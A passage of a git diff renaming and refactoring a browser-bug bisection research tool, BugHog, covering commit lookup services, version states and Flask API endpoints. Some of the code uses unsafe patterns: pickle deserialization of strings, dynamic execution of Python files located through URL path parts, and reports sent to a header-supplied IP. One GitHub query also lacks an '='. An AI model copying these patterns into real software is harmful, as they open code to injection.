os.path.join('/memory', tmp_file_name) if os.path.exists(tmp_file_path): os.remove(tmp_file_path) session = __get_session() @@ -159,7 +188,7 @@ def download_and_extract(urls: list[str], dst_folder_path: str) -> bool: with open(tmp_file_path, 'wb') as file: shutil.copyfileobj(resp.raw, file) except RequestException: - logger.debug("Download failed.") + logger.debug('Download failed.') continue logger.debug(f"Extracting downloaded archive '{tmp_file_path}'.") @@ -206,5 +235,16 @@ def untar(src_archive_path: str, dst_folder_path: str) -> None: safe_move_dir(os.path.join(dst_folder_path + '_2'), dst_folder_path) +def ensure_folder_exists(func): + @functools.wraps(func) + def wrapper(*args, **kwargs): + path = func(*args, **kwargs) + if not os.path.exists(path): + os.makedirs(path, exist_ok=True) + return path + + return wrapper + + class ResourceNotFound(Exception): pass diff --git a/bci/search_strategy/__init__.py b/bughog/version_control/__init__.py similarity index 100% rename from bci/search_strategy/__init__.py rename to bughog/version_control/__init__.py diff --git a/bughog/version_control/conversion/bughog_service.py b/bughog/version_control/conversion/bughog_service.py new file mode 100644 index 00000000..a07100f6 --- /dev/null +++ b/bughog/version_control/conversion/bughog_service.py @@ -0,0 +1,113 @@ +import logging +from functools import lru_cache +from os import getenv +from typing import Any +from urllib.parse import urljoin, urlparse + +from bughog.util import ResourceNotFound, request_json + +logger = logging.getLogger(__name__) + +SERVICE_API = getenv('BUGHOG_SERVICE_API', 'https://api.bughog.distrinet-research.be/') +if not urlparse(SERVICE_API).scheme: + SERVICE_API = f'https://{SERVICE_API}' + +BASE_URL = urljoin(SERVICE_API, '/v1/repos/') +LRU_CACHE_SIZE = 1024 + + +@lru_cache(maxsize=LRU_CACHE_SIZE) +def find_commit_info(subject_name: str, commit_nb: str) -> dict[str, Any]: + url = urljoin(BASE_URL, f'{subject_name}/commits/{commit_nb}') + return __fetch_dict(url) + + +@lru_cache(maxsize=LRU_CACHE_SIZE) +def find_commit_nb(subject_name: str, commit_id: str) -> int: + url = urljoin(BASE_URL, f'{subject_name}/commits/{commit_id}') + commit_info = __fetch_dict(url) + commit_nb = commit_info.get('nb') + if commit_nb is None or not isinstance(commit_nb, int): + raise Exception('BugHog service response did not include a valid commit number.') + return commit_nb + + +@lru_cache(maxsize=LRU_CACHE_SIZE) +def find_commit_id(subject_name: str, commit_nb: int) -> str | None: + commit_info = find_commit_info(subject_name, commit_nb) + commit_id = commit_info.get('id') + if commit_id is None: + logger.warning(f'BugHog service could not return a valid commit id for {commit_nb} in {subject_name}.') + return None + if not isinstance(commit_id, str): + logger.warning(f'BugHog service did not return a valid commit id for {commit_nb} in {subject_name}.') + return None + return commit_id + + +@lru_cache(maxsize=LRU_CACHE_SIZE) +def find_commit_executable_info(subject_name: str, commit_nb: int) -> dict | None: + commit_info = find_commit_info(subject_name, commit_nb) + return commit_info.get('executable_info') + + +@lru_cache(maxsize=LRU_CACHE_SIZE) +def find_nearest_commit_with_executable( + subject_name: str, target_commit_nb: int, lower_bound: int, upper_bound: int +) -> dict | None: + max_lower_offset = target_commit_nb - lower_bound + max_upper_offset = upper_bound - target_commit_nb + url = urljoin( + BASE_URL, + f'{subject_name}/commits/{target_commit_nb}/nearest_with_executable?max_lower_offset={max_lower_offset}&max_upper_offset={max_upper_offset}', + ) + return __fetch_dict(url) + + +@lru_cache(maxsize=LRU_CACHE_SIZE) +def find_version_commit( + subject_name: str, major_version: int, has_public_executable: bool | None = None +) -> tuple[int, str]: + """ + We return the earliest commit associated with the given major version. + This way, the function will remain consistent as new commits associated with the same version are pushed. + """ + url = urljoin(BASE_URL, f'{subject_name}/versions/{major_version}') + if has_public_executable is not None: + url += f'?has_executable={str(has_public_executable).lower()}' + version_list = __fetch_list(url) + if len(version_list) == 0: + raise Exception('BugHog service responded with an empty list.') + commit_info = version_list[0].get('commit_info', {}) + commit_nb, commit_id = commit_info.get('nb'), commit_info.get('id') + if commit_nb is None or commit_id is None or not isinstance(commit_nb, int) or not isinstance(commit_id, str): + raise Exception('BugHog service response did not include a valid commit number and/or id.') + return commit_nb, commit_id + + +@lru_cache(maxsize=LRU_CACHE_SIZE) +def find_latest_major_version(subject_name: str) -> int: + url = urljoin(BASE_URL, f'{subject_name}/versions/latest') + version_info = __fetch_dict(url) + major_version = version_info.get('major_version') + if major_version is None or not isinstance(major_version, int): + raise Exception('BugHog service response did not include a valid major version.') + return major_version + + +def __fetch(url: str) -> dict | list | None: + try: + return request_json(url) + except ResourceNotFound: + logger.warning(f'Could not fetch {url}') + return None + + +def __fetch_list(url: str) -> list: + data = __fetch(url) + return data if isinstance(data, list) else [] + + +def __fetch_dict(url: str) -> dict: + data = __fetch(url) + return data if isinstance(data, dict) else {} diff --git a/bughog/version_control/conversion/github.py b/bughog/version_control/conversion/github.py new file mode 100644 index 00000000..8906b29e --- /dev/null +++ b/bughog/version_control/conversion/github.py @@ -0,0 +1,99 @@ +""" +Helper module to find commit information for Google repos hosted on GitHub. +""" + +import logging +import os +import re +from datetime import datetime, timezone +from typing import Optional + +from bughog import util +from bughog.version_control.state_not_found import StateNotFound + +logger = logging.getLogger(__name__) + + +def find_commit_nb(owner: str, repo: str, commit_id: str) -> int: + url = f'https://api.github.com/repos/{owner}/{repo}/commits/{commit_id}' + resp = util.request_json(url, token=os.getenv('GITHUB_TOKEN')) + if not resp or not isinstance(resp, dict): + raise Exception(f'Could not find commit nb for {url}.') + commit_message = resp.get('commit', {}).get('message', '') + if commit_nb := __parse_commit_nb(commit_message): + return commit_nb + + # Get parent, where we should find the commit number + parent_commit_id = resp['parents'][0]['sha'] + parent_commit_url = f'https://api.github.com/repos/{owner}/{repo}/commits/{parent_commit_id}' + resp = util.request_json(parent_commit_url, token=os.getenv('GITHUB_TOKEN')) + if not resp or not isinstance(resp, dict): + raise Exception(f'Request to {url} returned {resp}.') + commit_message = resp.get('commit', {}).get('message', '') + if commit_nb := __parse_commit_nb(commit_message): + return commit_nb + raise StateNotFound('commit number', f'commit id {commit_id}', url) + + +def find_commit_id_with_date(owner: str, repo: str, ts: int) -> str: + """ + The UNIX timestamp is considered the commit number. + """ + date = datetime.fromtimestamp(ts + 1, tz=timezone.utc).isoformat().replace('+00:00','Z') + url = f'https://api.github.com/repos/{owner}/{repo}/commits?since={date}&until{date}' + resp = util.request_json(url, token=os.getenv('GITHUB_TOKEN')) + if not isinstance(resp, list): + raise Exception(f'Request to {url} returned {resp}.') + return resp[0].get('sha') + + +def find_commit_nb_with_date(owner: str, repo: str, commit_id: str) -> int: + """ + The UNIX timestamp is considered the commit number. + """ + url = f'https://api.github.com/repos/{owner}/{repo}/commits/{commit_id}' + resp = util.request_json(url, token=os.getenv('GITHUB_TOKEN')) + if not resp or not isinstance(resp, dict): + raise Exception(f'Could not find commit nb for {url}.') + date = resp.get('commit', {}).get('author', {}).get('date', None) + if date is None: + raise Exception(f'Could not find date for {url}') + return int(datetime.fromisoformat(date).timestamp()) + + +def find_commit_id_from_tag(owner: str, repo: str, tag: str) -> str: + url = f'https://api.github.com/repos/{owner}/{repo}/git/refs/tags/{tag}' + resp = util.request_json(url, token=os.getenv('GITHUB_TOKEN')) + if not resp or not isinstance(resp, dict): + raise Exception(f'Request to {url} returned {resp}.') + return resp.get('object', {}).get('sha') + + +def get_all_tags(owner: str, repo: str) -> list[str]: + url = f'https://api.github.com/repos/{owner}/{repo}/git/refs/tags/' + resp = util.request_json(url, token=os.getenv('GITHUB_TOKEN')) + if not resp or not isinstance(resp, list): + raise Exception(f'Request to {url} returned {resp}.') + return [re.sub(r'^refs/tags/', '', item['ref']) for item in resp if 'ref' in item] + + +def __get_reference_commit_nb(owner: str, repo: str) -> int: + url = f'https://api.github.com/repos/{owner}/{repo}/commits?page=1&per_page=1' + resp = util.request_json(url, token=os.getenv('GITHUB_TOKEN')) + if resp and isinstance(resp, list) and len(resp) > 0: + commit = resp[0] + commit_message = commit.get('commit', {}).get('message', '') + match = re.search(r'Cr-Commit-Position: refs/heads/main@\{#(\d+)\}', commit_message) + if match: + return int(match.group(1)) + raise Exception(f'Could not fetch reference commit from {url}.') + + +def __parse_commit_nb(commit_message: str) -> Optional[int]: + if matches := re.findall(r'Cr-Commit-Position: refs/heads/(?:master|main|candidates)@\{#(\d+)\}', commit_message): + return int(matches[-1]) + if matches := re.findall(r'git-svn-id: https*://v8\.googlecode\.com/svn/(?:trunk|bleeding_edge)@(\d+)', commit_message): + return int(matches[-1]) + if matches := re.findall(r'git-svn-id: https*://v8\.googlecode\.com/svn/branches/bleeding_edge@(\d+)', commit_message): + return int(matches[-1]) + return None diff --git a/bughog/version_control/state/base.py b/bughog/version_control/state/base.py new file mode 100644 index 00000000..e3711d81 --- /dev/null +++ b/bughog/version_control/state/base.py @@ -0,0 +1,186 @@ +from __future__ import annotations + +import base64 +import pickle +from abc import ABC, abstractmethod +from dataclasses import dataclass +from typing import Literal, Optional + +from bughog.evaluation.experiment_result import ExperimentResult +from bughog.subject.state_oracle import StateOracle + + +@dataclass(frozen=True) +class ShallowState: + type: str + major_version: int | None + commit_nb: int | None + commit_id: str | None + + @property + def dict(self) -> dict: + fields = { + 'type': self.type, + 'major_version': self.major_version, + 'commit_nb': self.commit_nb, + 'commit_id': self.commit_id, + } + return {k: v for k, v in fields.items() if v is not None} + + +class State(ABC): + def __init__(self, oracle: StateOracle): + super().__init__() + self.oracle = oracle + self.result_variables: Optional[set[tuple[str, str]]] = None + self.result_attempt: int | None + + def has_result(self) -> bool: + """ + Returns whether this state has a result. + + :returns bool: True if this state has a result. + """ + return self.result_variables is not None + + def has_dirty_result(self) -> bool: + """ + Returns whether this state has a dirty result. + + :returns bool: True if this state has a result, which is dirty. + """ + return self.has_result() and ExperimentResult.poc_is_dirty(self.result_variables) + + def has_same_outcome(self, other: State) -> bool: + """ + Returns whether this and the given other state share the same result outcome. + + :returns bool: True if states are both reproduced, not reproduced, or dirty. + """ + if not self.has_result() or not other.has_result(): + return False + else: + return ExperimentResult.poc_is_reproduced(self.result_variables) == ExperimentResult.poc_is_reproduced( + other.result_variables + ) and ExperimentResult.poc_is_dirty(self.result_variables) == ExperimentResult.poc_is_dirty( + other.result_variables + ) + + @property + def name(self) -> str: + return self.get_name(self.index) + + @staticmethod + @abstractmethod + def get_name(index: int) -> str: + pass + + @property + @abstractmethod + def type(self) -> Literal['release', 'commit']: + pass + + @property + @abstractmethod + def index(self) -> int: + """ + The index of the element in the sequence. + """ + pass + + @property + @abstractmethod + def commit_nb(self) -> int: + pass + + @property + @abstractmethod + def commit_url(self) -> Optional[str]: + pass + + def serialize(self) -> str: + """ + Returns a dictionary representation of the state. + """ + pickled_bytes = pickle.dumps(self, pickle.HIGHEST_PROTOCOL) + return base64.b64encode(pickled_bytes).decode('ascii') + + @staticmethod + def deserialize(pickled_str: str) -> State: + pickled_bytes = base64.b64decode(pickled_str) + return pickle.loads(pickled_bytes) + + def to_dict(self) -> dict: + return self.to_shallow_state().dict + + @staticmethod + def from_dict(subject_type: str, subject_name: str, data: dict) -> State: + from bughog.subject import factory + from bughog.version_control.state.commit_state import CommitState + from bughog.version_control.state.release_state import ReleaseState + + subject_class = factory.get_subject(subject_type, subject_name) + oracle = subject_class.state_oracle + commit_nb = data.get('commit_nb') + commit_id = data.get('commit_id') + major_version = data.get('major_version') + match data['type']: + case 'commit': + return CommitState(oracle, commit_nb=commit_nb, commit_id=commit_id) + case 'release': + if major_version is None: + raise ValueError('major_version is required for release states.') + return ReleaseState(oracle, release_version=major_version, commit_nb=commit_nb, commit_id=commit_id) + case _: + raise Exception(f'Unknown state type: {data["type"]}') + + def has_available_executable(self) -> bool: + return self.has_artisanal_executable() or self.has_public_executable() + + @abstractmethod + def has_public_executable(self) -> bool: + pass + + @abstractmethod + def get_executable_source_urls(self) -> list[str]: + """ + Returns a list of URLs where the associated binary can potentially be downloaded from. + """ + pass + + def has_artisanal_executable(self) -> bool: + return self.oracle.has_artisanal_executable(self.index, self.type) + + def get_artisanal_executable_folder(self) -> str | None: + return self.oracle.get_artisanal_executable_folder(self.index, self.type) + + def find_nearest_state_with_executable(self, boundaries: tuple[State, State], inclusive: bool) -> int | None: + if inclusive: + lower_index = boundaries[0].index + upper_index = boundaries[1].index + else: + lower_index = boundaries[0].index + 1 + upper_index = boundaries[1].index - 1 + + return self.oracle.get_nearest_state_with_executable(self.index, lower_index, upper_index, self.type) + + @abstractmethod + def to_shallow_state(self) -> ShallowState: + pass + + def __repr__(self) -> str: + if not self.has_result(): + status = 'PENDING' + elif self.has_dirty_result(): + status = 'DIRTY' + else: + status = 'CLEAN' + return f'State(index={self.index}, status={status})' + + def __eq__(self, other: object) -> bool: + if not isinstance(other, State): + return False + return self.index == other.index + + def __hash__(self) -> int: + return hash(self.index) diff --git a/bughog/version_control/state/commit_state.py b/bughog/version_control/state/commit_state.py new file mode 100644 index 00000000..46c01eec --- /dev/null +++ b/bughog/version_control/state/commit_state.py @@ -0,0 +1,76 @@ +from __future__ import annotations + +import logging +from typing import Literal + +from bughog.subject.state_oracle import StateOracle +from bughog.version_control.state.base import ShallowState, State + +logger = logging.getLogger(__name__) + + +class CommitState(State): + def __init__(self, oracle: StateOracle, commit_id: str | None = None, commit_nb: int | None = None): + super().__init__(oracle) + if commit_id is None and commit_nb is None: + raise ValueError('A state must be initialized with either a commit id or commit number.') + elif commit_id is not None and commit_nb is not None: + self.commit_id = commit_id + self._commit_nb = commit_nb + elif commit_nb is not None: + self.commit_id = self.oracle.find_commit_id(commit_nb) + self._commit_nb = commit_nb + elif commit_id is not None: + self._commit_nb = self.oracle.find_commit_nb(commit_id) + self.commit_id = commit_id + + if self.commit_id is not None and not self.oracle.is_valid_commit_id(self.commit_id): + raise ValueError(f"Invalid commit id '{self.commit_id}'.") + if self._commit_nb is not None and not self.oracle.is_valid_commit_nb(self._commit_nb): + raise ValueError(f"Invalid commit number '{self._commit_nb}'.") + + @staticmethod + def get_name(index: int) -> str: + return f'c_{index}' + + @property + def type(self) -> Literal['commit']: + return 'commit' + + @property + def index(self) -> int: + return self._commit_nb + + @property + def commit_nb(self) -> int: + return self._commit_nb + + @property + def commit_url(self) -> str | None: + return self.oracle.get_commit_url(self.commit_nb, self.commit_id) + + def to_dict(self) -> dict: + fields = { + 'type': self.type, + 'commit_nb': self.commit_nb, + 'commit_id': self.commit_id, + } + return {k: v for k, v in fields.items() if v is not None} + + def has_public_executable(self) -> bool: + # We ignore states without a commite id. + if self.commit_id is None: + return False + return self.oracle.has_public_executable(self.commit_nb, 'commit') + + def get_executable_source_urls(self) -> list[str]: + return self.oracle.get_executable_download_urls(self.commit_nb, 'commit') + + def to_shallow_state(self) -> ShallowState: + return ShallowState('commit', None, self.commit_nb, self.commit_id) + + def __str__(self): + return f'CommitState(number: {self.commit_nb}, id: {self.commit_id})' + + def __repr__(self): + return f'CommitState(number: {self.commit_nb}, id: {self.commit_id})' diff --git a/bughog/version_control/state/release_state.py b/bughog/version_control/state/release_state.py new file mode 100644 index 00000000..0c547a26 --- /dev/null +++ b/bughog/version_control/state/release_state.py @@ -0,0 +1,67 @@ +from typing import Literal, Optional + +from bughog.subject.state_oracle import StateOracle +from bughog.version_control.state.base import ShallowState, State +from bughog.version_control.state.commit_state import CommitState +from bughog.version_control.state_not_found import StateNotFound + + +class ReleaseState(State): + def __init__( + self, oracle: StateOracle, release_version: int, commit_nb: int | None = None, commit_id: str | None = None + ): + super().__init__(oracle) + self.release_version = release_version + if commit_nb is None or commit_id is None: + self._commit_nb, self.commit_id = self.oracle.find_commit_of_release(self.release_version) + else: + self._commit_nb = commit_nb + self.commit_id = commit_id + + @staticmethod + def get_name(index: int) -> str: + return f'v_{index}' + + @property + def type(self) -> Literal['release']: + return 'release' + + @property + def index(self) -> int: + return self.release_version + + @property + def commit_nb(self) -> int: + return self._commit_nb + + @property + def commit_url(self) -> Optional[str]: + return None + + def has_public_executable(self) -> bool: + return self.oracle.has_public_executable(self.release_version, self.type) + + def get_executable_source_urls(self) -> list[str]: + return self.oracle.get_executable_download_urls(self.release_version, self.type) + + def convert_to_commit_state(self) -> CommitState: + try: + return CommitState(self.oracle, commit_nb=self.commit_nb) + except StateNotFound: + offset = 1 + while True: + for neighbor in (self.commit_nb - offset, self.commit_nb + offset): + try: + return CommitState(self.oracle, commit_nb=neighbor) + except StateNotFound: + continue + offset += 1 + + def to_shallow_state(self) -> ShallowState: + return ShallowState('release', self.release_version, self.commit_nb, self.commit_id) + + def __str__(self): + return f'VersionState(version: {self.release_version}, rev: {self.commit_nb})' + + def __repr__(self): + return f'VersionState(version: {self.release_version}, rev: {self.commit_nb})' diff --git a/bughog/version_control/state_factory.py b/bughog/version_control/state_factory.py new file mode 100644 index 00000000..e3d32edb --- /dev/null +++ b/bughog/version_control/state_factory.py @@ -0,0 +1,82 @@ +from __future__ import annotations + +from bughog.database.mongo.mongodb import MongoDB +from bughog.exceptions import UserError +from bughog.parameters import EvaluationParameters +from bughog.subject.state_oracle import StateOracle +from bughog.version_control.state.base import State +from bughog.version_control.state.commit_state import CommitState +from bughog.version_control.state.release_state import ReleaseState + + +class StateFactory: + def __init__(self, state_oracle: StateOracle, eval_params: EvaluationParameters) -> None: + """ + Create a state factory object with the given evaluation parameters and boundary indices. + + :param eval_params: The evaluation parameters. + """ + self.__oracle = state_oracle + self.__eval_params = eval_params + self.boundary_states = self.__create_boundary_states() + + def create_state(self, index: int) -> State: + """ + Create a state object associated with the given index. + The given index represents: + - A major version number if `self.eval_params.evaluation_range.major_version_range` is True. + - A revision number otherwise. + + :param index: The index of the state. + """ + eval_range = self.__eval_params.evaluation_range + if eval_range.only_release_commits: + return self.__create_release_state(index) + else: + return self.__create_commit_state(index) + + def __create_boundary_states(self) -> tuple[State, State]: + """ + Create the boundary state objects for the evaluation range. + """ + eval_range = self.__eval_params.evaluation_range + + # Check whether the user provided enough artisanal binaries for subject types that only rely on those. + state_type = 'release' if eval_range.only_release_commits else 'commit' + if self.__oracle.only_artisanal and self.__oracle.count_artisanal_executables(state_type) < 2: + raise UserError(f'Not enough artisanal {state_type} executables provided for {self.__oracle.subject_name}.') + + if eval_range.major_version_range: + first_state = self.__create_release_state(eval_range.major_version_range[0]) + last_state = self.__create_release_state(eval_range.major_version_range[1]) + if not eval_range.only_release_commits: + first_state = first_state.convert_to_commit_state() + last_state = last_state.convert_to_commit_state() + return first_state, last_state + elif eval_range.commit_nb_range: + if eval_range.only_release_commits: + raise ValueError('Release revisions are not allowed in this evaluation range') + return ( + self.__create_commit_state(eval_range.commit_nb_range[0]), + self.__create_commit_state(eval_range.commit_nb_range[1]), + ) + else: + raise ValueError('No evaluation range specified') + + def create_evaluated_states(self) -> list[State]: + """ + Create evaluated state objects within the evaluation range where the result is fetched from the database. + """ + return MongoDB().get_evaluated_states(self.__eval_params, self.boundary_states) + + def __create_release_state(self, index: int) -> ReleaseState: + """ + Create a version state object associated with the given index. + """ + return ReleaseState(self.__oracle, index) + + def __create_commit_state(self, index: int) -> CommitState: + """ + Create a revision state object associated with the given index. + """ + return CommitState(self.__oracle, commit_nb=index) diff --git a/bughog/version_control/state_not_found.py b/bughog/version_control/state_not_found.py new file mode 100644 index 00000000..86cabd1d --- /dev/null +++ b/bughog/version_control/state_not_found.py @@ -0,0 +1,15 @@ +from typing import Optional + + +class StateNotFound(Exception): + + def __init__(self, missing_attribute: str, using_attribute: str, using_url: Optional[str] = None) -> None: + self.missing_attribute = missing_attribute + self.using_attribute = using_attribute + self.using_url = using_url + + def __str__(self) -> str: + if self.using_url: + return f'Cound not find state for {self.missing_attribute} using {self.using_attribute} and {self.using_url}.' + else: + return f'Cound not find state for {self.missing_attribute} using {self.using_attribute}.' diff --git a/bci/version_control/__init__.py b/bughog/web/__init__.py similarity index 100% rename from bci/version_control/__init__.py rename to bughog/web/__init__.py diff --git a/bughog/web/blueprints/api.py b/bughog/web/blueprints/api.py new file mode 100644 index 00000000..8c431ff8 --- /dev/null +++ b/bughog/web/blueprints/api.py @@ -0,0 +1,274 @@ +import json +import logging +import os + +from flask import Blueprint, current_app, redirect, request + +import bughog.parameters as application_logic +from bughog import configuration +from bughog.app import sock +from bughog.database.mongo.mongodb import MongoDB +from bughog.integration_tests import evaluation_configurations, verify_results +from bughog.main import Main +from bughog.parameters import MissingParametersError +from bughog.subject import factory +from bughog.subject.factory import get_all_subject_availability +from bughog.version_control.state.base import ShallowState +from bughog.web.clients import Clients +from bughog.web.evaluation_thread import run_eval_thread + +logger = logging.getLogger(__name__) +api = Blueprint('api', __name__, url_prefix='/api') + + +def __get_main() -> Main: + if main := current_app.config['main']: + return main + raise Exception('Main object is not instantiated') + + +@api.before_request +def check_readiness(): + try: + pass + # _ = ____get_main() + except Exception as e: + logger.critical(e) + return {'status': 'NOK', 'msg': 'BugHog is not ready', 'info': {'log': configuration.Loggers.get_logs()}} + + +@api.after_request +def add_headers(response): + if 'DEVELOPMENT' in os.environ and os.environ['DEVELOPMENT'] == '1': + response.headers['Access-Control-Allow-Origin'] = '*' + response.headers['Access-Control-Allow-Headers'] = 'Content-Type' + response.headers['Access-Control-Allow-Methods'] = '*' + return response + + +""" +Starting and stopping processses +""" + + +@api.route('/evaluation/start/', methods=['POST']) +def start_evaluation(): + if request.json is None: + return {'status': 'NOK', 'msg': 'No evaluation parameters found'} + + data = request.json.copy() + try: + database_params = configuration.get_database_params() + params = application_logic.evaluation_factory(data, database_params) + run_eval_thread(__get_main(), params) + return {'status': 'OK'} + except MissingParametersError: + return {'status': 'NOK', 'msg': 'Could not start evaluation due to missing parameters.'} + + +@api.route('/evaluation/stop/', methods=['POST']) +def stop_evaluation(): + if request.json is None: + return {'status': 'NOK', 'msg': 'No stop parameters found'} + + data = request.json.copy() + forcefully = data.get('forcefully', False) + if forcefully: + __get_main().activate_stop_forcefully() + else: + __get_main().activate_stop_gracefully() + return {'status': 'OK'} + + +""" +Requesting information +""" + + +@sock.route('/socket/', bp=api) +def init_websocket(ws): + logger.info('Client connected') + Clients.add_client(ws) + ws.send(json.dumps({'status': 'OK', 'msg': 'Connected to BugHog backend.'})) + while True: + message = ws.receive() + if message is None: + break + try: + message = json.loads(message) + if params := message.get('new_params', None): + Clients.associate_params(ws, params) + if requested_variables := message.get('get', []): + __get_main().push_info(ws, *requested_variables) + except ValueError: + logger.warning('Ignoring invalid message from client.') + + +@api.route('/subject/', methods=['GET']) +def get_subjects(): + return {'status': 'OK', 'subject_availability': get_all_subject_availability()} + + +@api.route('/system/', methods=['GET']) +def get_system_info(): + return {'status': 'OK', 'cpu_count': os.cpu_count() if os.cpu_count() else 2} + + +@api.route('/log/', methods=['POST']) +def log(): + # TODO: emit logs of workers in central log + return {'status': 'OK'} + + +@api.route('/poc//', methods=['GET']) +def get_projects(subject_type: str): + return {'status': 'OK', 'projects': factory.create_experiments(subject_type).get_projects()} + + +@api.route('/poc//', methods=['POST']) +def create_project(subject_type: str): + if request.json is None: + return {'status': 'NOK', 'msg': 'No parameters found'} + project_name = request.json.get('project_name') + try: + factory.create_experiments(subject_type).create_empty_project(project_name) + return {'status': 'OK'} + except AttributeError as e: + return {'status': 'NOK', 'msg': str(e)} + + +@api.route('/poc///', methods=['GET']) +def get_experiments(subject_type: str, project: str): + experiments = factory.create_experiments(subject_type).get_experiments(project) + return {'status': 'OK', 'experiments': experiments} + + +@api.route('/poc////', methods=['GET']) +def poc(subject_type: str, project: str, poc: str): + experiments = factory.create_experiments(subject_type) + dir_tree = experiments.get_experiment_dir_tree(project, poc) + return {'status': 'OK', 'tree': dir_tree} + + +@api.route('/poc/////', methods=['GET', 'POST']) +@api.route( + '/poc//////', + methods=['GET', 'POST'], +) +def poc_file_content(subject_type: str, project: str, poc: str, file_name: str, folder_name: str | None = None): + if request.method == 'GET': + return { + 'status': 'OK', + 'content': factory.create_experiments(subject_type).get_poc_file(project, poc, folder_name, file_name), + } + else: + if not request.json: + return {'status': 'NOK', 'msg': 'No content to update file with'} + data = request.json.copy() + content = data['content'] + success = factory.create_experiments(subject_type).update_poc_file( + project, poc, folder_name, file_name, content + ) + if success: + return {'status': 'OK'} + else: + return {'status': 'NOK'} + + +@api.route('/poc////', methods=['POST', 'DELETE']) +def add_folder_or_file(subject_type: str, project: str, poc: str): + if request.json is None: + return {'status': 'NOK', 'msg': 'No page parameters found'} + data = request.json.copy() + folder_name = data['folder_name'] + file_name = data['file_name'] + + if request.method == 'POST': + try: + factory.create_experiments(subject_type).add_folder_or_file(project, poc, folder_name, file_name) + Clients.push_experiments_to_all() + return {'status': 'OK'} + except AttributeError as e: + return {'status': 'NOK', 'msg': str(e)} + else: + try: + factory.create_experiments(subject_type).remove_folder_or_file(project, poc, folder_name, file_name) + Clients.push_experiments_to_all() + return {'status': 'OK'} + except AttributeError as e: + return {'status': 'NOK', 'msg': str(e)} + + +@api.route('/poc/domain/', methods=['GET']) +def get_available_domains(): + return {'status': 'OK', 'domains': configuration.get_available_domains()} + + +@api.route('/poc///', methods=['POST']) +def create_experiment(subject_type: str, project: str): + if request.json is None: + return {'status': 'NOK', 'msg': 'No experiment parameters found'} + + data = request.json.copy() + if 'poc_name' not in data.keys(): + return {'status': 'NOK', 'msg': 'Missing experiment name'} + poc_name = data['poc_name'] + try: + factory.create_experiments(subject_type).add_experiment(project, poc_name) + Clients.push_experiments_to_all() + return {'status': 'OK'} + except AttributeError as e: + return {'status': 'NOK', 'msg': str(e)} + + +@api.route('/data/remove/', methods=['POST']) +def remove_datapoint(): + if request.json is None: + return {'status': 'NOK', 'msg': 'No evaluation parameters found'} + + data = request.json.copy() + if not isinstance(data, dict): + return {'status': 'NOK', 'msg': 'Received dataformat is not a dictionary.'} + if (type := data.get('type')) not in ['release', 'commit']: + return {'status': 'NOK', 'msg': 'Type argument should be release or commit.'} + database_params = configuration.get_database_params() + try: + params_list = application_logic.evaluation_factory(data, database_params, only_to_plot=True) + if len(params_list) < 1: + return {'status': 'NOK', 'msg': 'Could not construct removal parameters.'} + state = ShallowState(type, data.get('major_version'), data.get('commit_nb'), data.get('commit_id')) + __get_main().remove_datapoint(params_list[0], state) + except MissingParametersError: + return {'status': 'NOK', 'msg': 'Could not remove datapoint due to missing parameters'} + return {'status': 'OK'} + + +@api.route('/test/continue/', methods=['POST']) +def integration_tests_continue(): + clean_slate = request.args.get('clean_slate', 'no') + eval_parameters_list = [] + for subject_type in verify_results.get_all_testable_subject_types(): + all_experiments = factory.create_experiments(subject_type) + experiments = all_experiments.get_experiments(verify_results.TEST_PROJECT_NAME) + elegible_experiments = [experiment[0] for experiment in experiments if experiment[1]] + new_eval_parameters_list = evaluation_configurations.get_eval_parameters_list( + subject_type, elegible_experiments + ) + if clean_slate == 'yes': + MongoDB().remove_all_data_for(new_eval_parameters_list) + eval_parameters_list.extend(new_eval_parameters_list) + run_eval_thread(__get_main(), eval_parameters_list) + return redirect('/test/') + + +@api.route('/cache/executables/delete', methods=['POST']) +def remove_cached_executables(): + subject_type = request.form.get('subject_type') + subject_name = request.form.get('subject_name') + state_name = request.form.get('state_name') + + if not subject_type or not subject_name or not state_name: + return {'status': 'NOK', 'msg': 'Missing parameters.'} + + __get_main().remove_cached_executable(subject_type, subject_name, state_name) + return {'status': 'OK'} diff --git a/bci/web/blueprints/experiments.py b/bughog/web/blueprints/experiments.py similarity index 88% rename from bci/web/blueprints/experiments.py rename to bughog/web/blueprints/experiments.py index d4609204..55b40b4c 100644 --- a/bci/web/blueprints/experiments.py +++ b/bughog/web/blueprints/experiments.py @@ -4,12 +4,12 @@ import sys import threading -import requests -from bci.evaluations.experiments import SUPPORTED_DOMAINS +from bughog import util +from bughog.evaluation.experiments import SUPPORTED_DOMAINS from flask import Blueprint, Request, make_response, render_template, request, url_for logger = logging.getLogger(__name__) -exp = Blueprint("experiments", __name__, template_folder="/app/bci/web/templates") +exp = Blueprint("experiments", __name__, template_folder="/app/bughog/web/templates") @exp.before_request @@ -38,10 +38,7 @@ def __report(request: Request) -> None: } def send_report_to_collector(): - try: - requests.post(f"http://{remote_ip}:5001/report/", json=response_data, timeout=5) - except requests.exceptions.ConnectionError: - logger.warning(f"WARNING: Could not propagate request to collector at {remote_ip}:5001") + util.post_request(f'http://{remote_ip}:5001/report/', response_data) threading.Thread(target=send_report_to_collector).start() @@ -136,7 +133,7 @@ def python_evaluation(project: str, experiment: str, file_name: str): host = request.host.lower() module_name = f"{host}/{project}/{experiment}" - path = f"experiments/pages/{project}/{experiment}/{host}/{file_name}.py" + path = f"/app/subject/web_browser/experiments/{project}/{experiment}/{file_name}.py" # Dynamically import the file sys.dont_write_bytecode = True @@ -145,15 +142,18 @@ def python_evaluation(project: str, experiment: str, file_name: str): sys.modules[module_name] = module spec.loader.exec_module(module) - def report_leak() -> None: + def reproduced() -> None: remote_ip = request.headers.get("X-Real-IP") response_data = { - "url": url_for("experiments.report_endpoint", leak=experiment), + "url": url_for("experiments.report_endpoint", bughog_reproduced='OK'), "method": request.method, "headers": dict(request.headers), "content": request.data.decode("utf-8"), } - requests.post(f"http://{remote_ip}:5001/report/", json=response_data, timeout=5) + def send_report_to_collector(): + util.post_request(f'http://{remote_ip}:5001/report/', response_data) - return module.main(request, report_leak) + threading.Thread(target=send_report_to_collector).start() + + return module.main(request, reproduced) diff --git a/bughog/web/blueprints/test.py b/bughog/web/blueprints/test.py new file mode 100644 index 00000000..24b03acb --- /dev/null +++ b/bughog/web/blueprints/test.py @@ -0,0 +1,13 @@ +import logging + +from flask import Blueprint, render_template + +from bughog.integration_tests.verify_results import verify_all + +logger = logging.getLogger(__name__) +test = Blueprint('test', __name__, url_prefix='/test') + + +@test.route('/') +def index(): + return render_template('integration_tests.html', verification_results=verify_all()) diff --git a/bughog/web/clients.py b/bughog/web/clients.py new file mode 100644 index 00000000..eddbc566 --- /dev/null +++ b/bughog/web/clients.py @@ -0,0 